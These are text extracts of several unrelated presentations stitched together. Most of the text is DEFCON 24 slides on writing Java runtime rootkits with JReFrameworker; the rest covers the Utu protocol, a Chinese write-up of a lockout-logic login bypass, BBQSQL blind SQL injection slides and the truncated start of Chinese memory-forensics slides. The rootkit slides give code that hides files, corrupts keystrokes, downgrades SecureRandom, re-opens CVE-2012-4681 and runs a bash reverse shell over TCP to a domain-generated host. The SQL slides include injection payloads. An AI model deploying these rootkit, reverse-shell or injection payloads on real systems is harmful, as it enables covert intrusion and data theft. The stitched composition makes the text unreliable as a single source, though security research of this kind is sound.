Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Java Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Java Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Java Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Java Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Managed Code Rootkits (MCRs)
Post exploitation activity (need root/administrator privileges)
C:\Program Files\Java\. . . \lib\rt.jar
Compromises EVERY program using the modified runtime
Out of sight out of mind
Code reviews/audits don’t typically audit runtimes
May be overlooked by forensic investigators
Rootkits can be platform independent
Runtimes are already fully featured
Object Oriented programming
Standard libraries
Additional access to low level APIs (key events, networking, etc.)
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pioneering Work
Pioneering work by Erez Metula (DEFCON 17)
Explored implications of MCRs
"ReFrameworker" tool to modify .NET runtimes
XML modules to define manipulation tasks
Uses an assembler/disassembler pair to make modifications
Generates deployment scripts
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Strategies for Modifying the Runtime
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Strategies for Modifying the Runtime
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
New Framework Goals
MCR support for Java Runtime Environment
Minimal prerequisite user knowledge
No knowledge of bytecode or intermediate languages
Simple development cycle
Consider: developing, debugging, deploying
Strive towards portability (Write Once, Exploit
Everywhere)
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
JReFrameworker
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
JReFrameworker
Write rootkits in Java source!
Modification behaviors defined with code
annotations
Develop and debug in Eclipse IDE
Exploit "modules" are Eclipse Java projects
Exportable payload droppers
Bytecode injections are computed on the fly
Free + Open Source (MIT License):
github.com/JReFrameworker
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
JReFrameworker
Write rootkits in Java source!
Modification behaviors defined with code
annotations
Develop and debug in Eclipse IDE
Exploit "modules" are Eclipse Java projects
Exportable payload droppers
Bytecode injections are computed on the fly
Free + Open Source (MIT License):
github.com/JReFrameworker
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hello World Revisited
@MergeType
public class BackwardsPrintStream extends java.io.PrintStream {
@MergeMethod
@Override
public void println(String str){
StringBuilder sb = new StringBuilder(str);
super.println(sb.reverse().toString());
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Annotation Types
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Annotation Types
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Annotation Types
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Modules
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Get Creative
Time to get creative...
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hidden File
@MergeType
public class HiddenFile extends java.io.File {
@MergeMethod
@Override
public boolean exists(){
if(isFile() && getName().equals("secretFile")){
return false;
} else {
return super.exists();
}
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hidden File
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hidden File
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Beetlejuice
@MergeType
public class BeetlejuicePS extends java.io.PrintStream {
@DefineField
private int beetlejuice;
@MergeMethod
public void println(String str){
StackTraceElement[] st = new Exception().getStackTrace();
for(StackTraceElement element : st){
if(element.getMethodName().equals("beetlejuice")){
if(++beetlejuice==3) i.Main.main(new String[]{});
super.println(str);
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Beetlejuice
public class Test {
static class TimBurton {}
public static void main(String[] args) {
TimBurton timBurton = new TimBurton();
beetlejuice(timBurton);
beetlejuice(timBurton);
beetlejuice(timBurton);
}
private static void beetlejuice(TimBurton timBurton){
System.out.println(timBurton.toString());
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Beetlejuice
The “i.Main.main(new String[]);”
invokes Mocha DOOM
Port of DOOM shareware to pure Java
github.com/AXDOOMER/mochadoom
Payload behaviors can depend on the
state or structure of the client program
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Mutable Strings
public static void main(String[] args) {
String demand = "sacrifice";
demand.replace("sacrifice", "puppy");
System.out.println("Satan demands a " + demand + "!");
}
Immutable: demand="sacrifice"
Mutable: demand="puppy"
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Mutable Strings
@DefineTypeFinality(finality=false)
@DefineFieldFinality(field="value", finality=false)
@DefineFieldVisibility(field="value", visibility="protected")
@MergeType
public class MutableString extends java.lang.String {
@MergeMethod
public String replace(CharSequence s1, CharSequence s2){
String result = super.replace(s1, s2);
// hey Java you forgot to update your value...so I fixed it :)
value = result.toCharArray();
return result;
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pixelated Images
@MergeType
public class PixelatedBufferedImage extends BufferedImage {
@DefineField
boolean pixelated = false;
@MergeMethod
public Graphics getGraphics() {
if(!pixelated) setData(pixelate(getData()));
return super.getGraphics();
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pixelated Images
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pixelated Images
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pixelated Images (5x pixel size)
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pixelated Images (10x pixel size)
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pixelated Images (25x pixel size)
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pixelated Images (50x pixel size)
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Decreasing Productivity
Define SpellWrecker class (inverse of a spellchecker)
As average typing speed increases, more typos are injected
As average typing speed reduces, less typos are injected
@MergeType
public class SpellWreckedKeyEvent extends KeyEvent {
@MergeMethod
@Override
public char getKeyChar(){
char original = super.getKeyChar();
return SpellWrecker.spellwreck(original);
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
CVE-2012-4681
Applet can bypass security restrictions to execute arbitrary code
Combination of two vulnerabilities
Excellent reliability, multi platform
“Gondvv” exploit found in the wild (August 2012)
PoC Exploit: http://pastie.org/4594319
Metasploit Module: exploit/multi/browser/java_jre17_exec
Detailed analysis by Immunity Products
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
CVE-2012-4681 (Exploit Armoring Experiment)
Source: github.com/benjholla/CVE-2012-4681-Armoring
Submitted to VirusTotal 2 years after found in the wild. . .
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
CVE-2012-4681 (Exploit Armoring Experiment)
Source: github.com/benjholla/CVE-2012-4681-Armoring
Submitted to VirusTotal 4 years after found in the wild. . .
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
CVE-2012-4681 (“The Reverse Bug Patch”)
“Unfixing” CVE-2012-4681 in Java 8
com.sun.beans.finder.ClassFinder
Remove calls to ReflectUtil.checkPackageAccess(. . . )
com.sun.beans.finder.MethodFinder
Remove calls to ReflectUtil.isPackageAccessible(. . . )
sun.awt.SunToolkit
Restore getField(...) method
Unobfuscated vulnerability gets 0/56 on VirusTotal
What’s the difference between vulnerabilities and exploits?
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
SCADA HMI Application Modifications
If you can modify a runtime, you
can modify an application...
Example: SCADA HMI application
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
SCADA HMI Application Modifications
Original HMI application lacks
modern security mechanisms
Challenge: Can we enhance the
security for “alarms” list without
access to the source code?
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
SCADA HMI Application Modifications
Backend server enhanced with an
application firewall
Firewall supports new security policy
mechanisms (e.g. two factor
authentication)
HMI client UI enhanced with
prompts for firewall challenge
responses
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Mitigations
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Bytecode Modification Indicators
What is wrong with this picture? (hint: look at the line numbers)
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Bytecode Modification Indicators
File hash
File size (original: ~50mb, modified: ~25mb)
“jref_” method rename prefix (can be changed in preferences)
Class/Method/Field counts
Code metrics (e.g. cyclomatic complexity)
. . .
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Being Aware
JReFrameworker is an awareness project!
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Q/A
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Still plenty of work to do. . .
The woods are lovely, dark and deep,
But I have promises to keep,
And miles to go before I sleep,
And miles to go before I sleep.
-Robert Frost
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Questions?
Thank you!
JReFrameworker:
Setup + Tutorials: jreframeworker.com
Source Code: github.com/JReFrameworker
References:
github.com/JReFrameworker/JReFrameworker/blob/master/REFERENCES.md
Additional Resources
Managed Code Rootkits: appsec-labs.com/managed_code_rootkits
ASM Transformations Whitepaper: asm.ow2.org/current/asm-transformations.pdf
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
The JVM isn’t just for Java
JVM Specific
Java, Scala, Clojure, Groovy, Ceylon, Fortess, Gosu, Kotlin. . .
Ported Languages
JRuby, Jython, Smalltalk, Ada, Scheme, REXX, Prolog, Pascal, Common LISP. . .
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pokémon! Gotta Hack em’ All!
Application contains callbacks for special premium
bracelet notifications
Just need to add tactile feedback to user
Slightly more complicated toolchain for modifying
Android apps
.apk -> APKTool -> Dex2Jar -> JReFrameworker ->
DX -> APKTool -> .apk
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pokémon! Gotta Hack em’ All!
@MergeType
public class NotifyLegendaryPokemon extends
com.nianticproject.holoholo.sfida.unity.SfidaUnityPlugin {
@MergeMethod
public boolean notifySpawnedLegendaryPokemon(String param){
vibrate();
return super.notifySpawnedLegendaryPokemon(param);
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
DEFCON Inspirations
It is truly an honor to be here
Early memories of reading Winn Schwartau’s
Information Warfare
One of my first introductions to security topics
This talk itself was inspired by a previous
DEFCON talk
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Reverse Shell + DGA
Malicious client probes for payload
Create a reverse shell to the domain of the day
public static void main(String[] args) throws Exception {
Date d = new Date();
// attempts to invoke a private method named reverseShell
// in java.util.Date that may or may not exist ;)
Method method = d.getClass().getDeclaredMethod("reverseShell");
method.setAccessible(true);
method.invoke(d);
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Reverse Shell + DGA
public class java.util.Date {
private void reverseShell(){
String domain = "www.";
int year = getYear(); int month = getMonth(); int day = getDay();
for(int i=0; i<16; i++){
year = ((year ^ 8 * year) >> 11) ^ ((year & 0xFFFFFFF0) << 17);
month = ((month ^ 4 * month) >> 25) ^ 16 * (month & 0xFFFFFFF8);
day = ((day ^ (day << 13)) >> 19) ^ ((day & 0xFFFFFFFE) << 12);
domain += (char)((Math.abs((year ^ month ^ day)) % 25) + 97);
}
domain += ".com";
...
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Reverse Shell + DGA
Define a java.util.StreamForwarder class
Forward shell inputs/outputs to TCP stream
InetAddress address = InetAddress.getByName(domain);
String ipAddress = address.getHostAddress();
final Process process = Runtime.getRuntime().exec("/bin/bash");
Socket socket = new Socket(ipAddress, 6666);
forwardStream(socket.getInputStream(), process.getOutputStream());
forwardStream(process.getInputStream(), socket.getOutputStream());
forwardStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
...
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Downgrading Security
@MergeType
public class InsecureRandom extends SecureRandom {
@DefineField
private Random random;
@MergeMethod
public int nextInt(){
if(random == null){
random = new Random(0 /* fixed seed */);
}
return random.nextInt();
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment | pdf |
Utu: Saving The Internet With Hate
The Grand Experiment
● An experiment in sociology and computing
Philosophical Foundations
● Strong Identity
● Reputation
● Retribution
Identity
● Nobody knows how you are on the internet.
Reputation
● But, they know you're a dickhead.
Retribution
● And, wouldn't it be great to punish the
dickheads?
Technical Solutions to Social
Problems
● If it goes on the Interwebs, it's social.
The Protocol
● Sends 2 bytes for size (htons(size))
● Sends the data structure
● That's it.
Framing, Lexemes, Grammar
● Uses stackish, an XML joke.
● Google for it.
● S-expressions with netstrings in a FORTH
stack order.
● [ [ '4:test' 1234 child root
● (root (child (1234 '4:test')))
Semantics
● Determined by the Hub.
● One Stackish node for header.
● Another for body.
Data Encoding
● Always ASCII text, but you can put anything
you want in BLOBs.
Simplicity Is Key
● 2 bytes for frame
● Stackish for header and body
● Easy to implement
Security Preventions
● Client does all the work first.
● Client is considered hostile.
● Booted immediately.
● A Finite State Machine controls.
The Cryptography
I'M NOT A CRYPTOGRAPHER
● I didn't write any crypto
● Followed the rules
Standards Used
● AES 32-byte (256 bits)
● ECC 32-byte (256 bits)
● SHA256 hashes
● 128 bit random nonces
● ISO/IEC 11770-3 Mechanism 6 without the
Helsinki vulnerability
● CCM based encryption with AAD
● Fortuna PRNG
Implementations
● utuprotocol.info for server
● ihate.rubyforge.org for client
Secure Coding Practices
Valgrind, Valgrind, Valgrind
● All code is ruthlessly run through it.
● Uh, except you can't run ruby through it.
● Sigh, ruby sucks.
Statistical Quality Control
● Collect information on
– Valgrind errors
– Unit test errors
– Logged Errors
● Analyze the change over time
Code Auditing
● Review my code repeatedly.
● Consistent “rules” I follow
● Assume it's always broken
C Coding Practices
● Bstring library for strings
● All functions have validations
– Assert
– preconditions/postconditions
– Extensive unit testing
Secure Unix Server Practices
● Always chroot. ALWAYS.
● Leave minimum resources open.
● Minimum configuration.
Practical Demonstration
Current Security Flaws
● Messages are numbered sequentially
● No versioning on packets
● Cryptography Not Evaluated
Feedback and Questions
Call For Assistance
● Entirely GPLv3 Code
● Open and contributions welcome
● savingtheinternetwithhate.com
● ihate.rubyforge.org | pdf |
一次诡异的弱口令
0x01 背景
某次客户授权渗透碰到的问题,比较有趣,分享一下。
项目开始没多久,一起的小姐妹说存在弱口令admin/admin,让我试试。然而在我尝试登录的时候,返
回消息为“密码错误,失败次数为1”。这没法登录,密码不对阿,还有账号锁定机制。
继续测试,发现登录页面验证码在使用后未作失效处理,正常操作,爆破一下。
burp的结果显示四五个账号存在弱口令,手动验证下,只有两个账号使用密码正常登录了,其他账号都
返回密码错误的消息。
弱口令登录不能复现,非常诡异,讲给客户估计会被客户加开发一起喷死,于是我就请教了一下我大
哥。
大哥如此清新脱俗的解释,一直喊666的我,灵魂在吹牛逼的过程中莫然得到了一丝的愉悦。然而作为
打工人,想了想午饭的馒头还没有着落,只能埋头继续肝!
0x01 剥茧抽丝
shell手法,平平无奇,标准操作过了下WAF的内容检测,此处不做赘述,直奔登录模块拿到对应class文
件。
class文件导入jd-gui,好了,可以下打死开发了。
bingo,破案!
浏览器启动,admin账户到位,输入若干次口令直到账号锁定,等待一段时间,待锁定时间过后输入
admin、任意密码成功登陆了系统。
0x02 修复方式
显然,开发小哥写的代码太绕了,把自己绕进去了。
针对上述的写法,在state为2后,锁定一段时间。再次登录账户解锁之后,还需要再校验密码,而不是
直接返回true。
0x03 总结
账户锁定的情况也可以多试几次,既然是账号锁定功能,时间也应该是测试参数。正如老话说,时间是
最好的解药。 | pdf |
BBQSQL
Ben Toews
Scott Behrens
Who are we?
● Ben Toews
○ Security Consultant / Researcher at
Neohapsis
● Scott Behrens
○ Security Consultant / Researcher at
Neohapsis
Why are we here?
● BBQSQL
○ New dog, old trick
■ Exploits Blind SQL Injection
○ New dog, new trick
■ Fast
■ Easy
■ Gets those hard to reach spots
SQL What?
● Structured Query Language (SQL)
○ Language for interacting with database
● SQL Injection
○ Inject syntax into an application's SQL
queries
Basic SQL Injection
Normal Case:
UNAME = "mastahyeti"
PASS = "s3cret"
QUERY = "select * from users where pass=md5
('"+PASS+"') and uname='"+UNAME+"'";
QUERY evaluates to:
select *
from users
where pass=md5('secret')
and uname='mastahyeti'
Basic SQL Injection
SQL Injection Case:
UNAME = "pwned' or '1'='1";
PASS = "pwned";
QUERY = "select * from users where pass=md5
('"+PASS+"') and uname='"+UNAME+"'";
QUERY evaluates to:
select *
from users
where pass=md5('pwned')
and uname='pwned' or '1'='1'
Blind SQL Injection
● Still trying to alter SQL syntax
● Dumping database
● More complex SQL syntax
Blind SQL Injection
Blind SQL Injection Case:
UNAME = "' or (ASCII(SUBSTR(SELECT user(),
1,1))>63) --";
PASS = "";
QUERY = "select * from users where pass=md5
('"+PASS+"') and uname='"+UNAME+"'";
QUERY evaluates to:
select *
from users where pass=md5('')
and uname='' or (ASCII(SUBSTR(SELECT user(),
1,1))>63) --'
Blind SQL Injection
select *
from users where pass=md5('') and
uname=''
or (
ASCII( << char -> int
SUBSTR( << slice string
SELECT user() << current user
,1,1) << first char
)>63 << 63 = '?'
) --' << comment
Blind SQL Injection
● Binary (or other) search for each
character
● One character at a time
● Time consuming
Blind SQL Injection
● Lots of excellent tools out there
○ sqlmap, sqlninja, BSQL Hacker,
the Mole, Havij, ...
● Lots of great features
^^^^^^ good job guys...
● If these tools don't work
○ You end up writing a custom script,
test, debug, test, debug...
● What if there was a way to simplify
tricky Blind SQL Injection attacks...
BBQSQL:Use
doesn't care about your data!
doesn't care about your database!
+
=
Images from http://www.freedigitalphotos.net/
BBQSQL
● Exploits Blind SQL Injection
● For those hard to reach spots
● Semi-automatic
● Database agnostic
● Versatile
● Fast
● Fast
● Did we mention it is fast?
BBQSQL:Use
● Must provide the usual information
○ URL
○ HTTP Method
○ Headers
○ Cookies
○ Encoding methods
○ Redirect behavior
○ Files
○ HTTP Auth
○ Proxies
○ ...
BBQSQL:Use
● Provide two additional pieces of
info
○ Specify where the injection goes
○ Specify what syntax we are injecting
BBQSQL:Use
● The injection can go ANYWHERE:
○
url => "http://google.com?vuln='${query}"
○
data => "user=foo&pass=${query}"
○
cookies => {'PHPSESSID':'123123','FOO':'BAR${query}'}
● doesn't understand data
doesn't care about your annoying:
■
serialization format
■
processes and rules
■
encodings
BBQSQL:Use
● The query specifies how to do binary
search:
○
query => "' and ASCII(SUBSTR((SELECT data FROM data
LIMIT 1 OFFSET ${row_index:1}), ${char_index:1},
1))${comparator:>}${char_val:0} #"
● Database agnostic
● Doesn't care about your annoying:
○ SQL syntax
○ Charset limitations
○ IDS/IPS
BBQSQL:Use
Demo?
Images from http://gossipsucker.com/
BBQSQL:Speed
● Concurrent HTTP requests
● Multiple search algorithms
○ Binary search
○ Frequency based search
BBQSQL:Speed
● Concurrent HTTP requests
● Multiple search algorithms
○ Binary search
○ Frequency based search
BBQSQL:grequests
grequests = gevent + requests
BBQSQL:grequests
grequests = gevent + requests
BBQSQL:gevent
"gevent is a coroutine-based Python
networking library that uses
greenlet to provide a high-level
synchronous API on top of the
libevent event loop"
-http://gevent.org
BBQSQL:gevent
● Coroutine ~ function
● You spawn many simultaneous coroutines
● Only one runs at a time
● When a coroutine encounters blocking
(network IO) it yields and allows the
next coroutine to run while it waits
● This forms an event-loop
● Functionally, it appears to act like
threading
BBQSQL:grequests
grequests = gevent + requests
BBQSQL:requests
"HTTP For Humans"
-docs.python-requests.org
● Awesome HTTP API built on top of urllib3
in Python
● Written/maintained by Kenneth Reitz
○ API designing badass
BBQSQL:grequests
grequests = gevent + requests
BBQSQL:grequests
Good Evented HTTP for Python
BBQSQL:Speed
● Concurrent HTTP requests
● Multiple search algorithms
○ Binary search
○ Frequency based search
BBQSQL:Binary Search
1
2
3
4
5
6
7
8
9
10
11
12
7
8
9
10
11
12
7
8
9
10
7
8
9
10
8
Average Case: O(log(n))
BBQSQL:Speed
● Concurrent HTTP requests
● Multiple search algorithms
○ Binary search
○ Frequency based search
BBQSQL:Linear Search
1
2
3
4
5
6
7
8
9
10
11
12
1
2
3
4
5
6
7
8
9
10
11
12
1
2
3
4
5
6
7
8
9
10
11
12
1
2
3
4
5
6
7
8
9
10
11
12
Average Case: O(n/2)
...
BBQSQL:Frequency
● Analysed lots of books, source
code, CCs, SSNs :P
● Most common characters are [' ',
'e', 't', 'o', 'a']
● Most likely characters to follow
'e' are [' ', 'r', 'n']
BBQSQL:Frequency
● Very fast against non-entropic data:
○ English
■ ~10 requests/character
○ Python
■ ~8 requests/character
○ Credit card numbers
■ ~5.5 requests/character
● VS. binary search
○ English
■ ~12 requests/character
BBQSQL:UI
● UI is built using source from Social
Engineering Toolkit(SET)
○ Thanks Dave (ReL1K) Kennedy!
● Input validation is performed on each
configuration option in real time to
prevent snafu
○
You don't have to wait till you type up a huge
request on the CLI and find out your 600 char POST
data is malformed!
BBQSQL:UI
● Configuration files can be imported and
exported through UI or CLI
○ Uses ConfigParser so easy to work with
● Can export attack results as CSV file
Credits
● Wikipedia (math is hard)
● Neohapsis Labs
● Image links are embedded in
presentation
● ReL1K - SET https://www.trustedsec.com/downloads/social-
engineer-toolkit/
Thanks
Ben Toews - @mastahyeti
Scott Behrens - @helloarbit
Neohapsis(.com) << Hiring
<< bonus4us
BBQSQL
github.com/neohapsis/bbqsql | pdf |
MEMORY FORENSICS
识“黑”寻踪 之 内存取证
演讲人:伍智波 (SkyMine)
中国网安 · 广州三零卫士 - 安全专家
2 0 1 8
目录
CONTENTS
PART 01
内存取证的起源与发展
01
PART 02
内存管理机制简述
02
PART 03
如何获取内存数据
03
PART 04
内存分析的工具
04
PART 05
犯罪取证案例分析
05
KEYWORD : 应急响应、数字取证、行为溯源
THE ORIGIN AND DEVELOPMENT OF MEMORY FORENSICS
PART
01
内存取证的起源与发展
2002年
2005年
2006年
2007年
2009年
2010年
2011年
美国空军特别调查办公室的安全研究员于2002年发表
的DFRWS主题报告中曾经提到,为了处理网络应急响应所
面临的问题,需要调查易失性内存(RAM)的信息,以全
面而准确地获取网络攻击和网络犯罪证据。这是内存取证概
念首次被提出。
DFRWS数字取证研究会于2005年夏季发起针对
Windows操作系统的内存取证分析挑战赛,通过分析一个
Windows 2000的物理内存转储文件,要求参赛者提取该文件
中所包含的隐匿进程及其隐匿方式、网络攻击者如何攻击以及
何时、何处发起攻击等相关攻击链信息。这是真正意义上的内
存取证研究的开始。
USA 2005
2002年
2005年
2006年
